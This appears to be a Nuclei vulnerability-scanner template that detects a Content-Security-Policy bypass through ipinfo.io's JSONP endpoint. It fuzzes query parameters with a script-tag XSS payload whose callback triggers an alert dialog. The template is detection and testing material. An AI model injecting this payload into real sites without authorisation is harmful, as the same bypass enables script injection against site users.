id: ipinfo-csp-bypass

info:
  name: Content-Security-Policy Bypass - IPInfo
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ipinfo,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ipinfo.io"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ipinfo_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ipinfo.io/?format=jsonp&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ipinfo_csp_xss == true"
# digest: 4a0a0047304502206f53a1f0403b509f57a0cc4647f1a57de9ca10d069eaacb62473ddd79ccca16f0221008fafd8669c4fb8c5218a997637a31602a06c7c3a46a0f8a013af31ceae064237:922c64590222798bb761d5b6d8e72950